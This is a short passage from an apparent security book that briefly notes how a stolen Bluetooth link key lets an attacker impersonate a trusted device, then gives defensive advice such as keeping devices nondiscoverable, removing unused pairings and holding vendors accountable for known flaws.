Once an attacker has compromised one of your devices, as you saw in the story, he can make use of a stolen linkkey to further compromise your other devices. With the ability to spoof a trusted pairing partner, an attacker can read your personal address book, files, or even the microphone on your headset.

In general, if you are using Bluetooth devices, place them in a nondiscoverable mode when they are not actively in use. You can also feel free to disable the power to your Bluetooth chip completely if you don't use it frequently. Keeping your devices hidden from public view by not being discoverable or simply being turned off limits the potential for an attack. Don't accept any Bluetooth connections you're not expecting, and if you do come across any suspicious or unused pairing information, remove it.

Although your device may not currently have any publicly disclosed vulnerabilities, do not assume that no issues exist. Hold your vendor accountable for any software vulnerabilities of which they have been made aware. If you report a problem, follow up with both the vendor and the general public. Several vendors have continued to produce faulty and defective hardware without consequence. If enough users speak up, perhaps quality will improve.


Previous Page
Next Page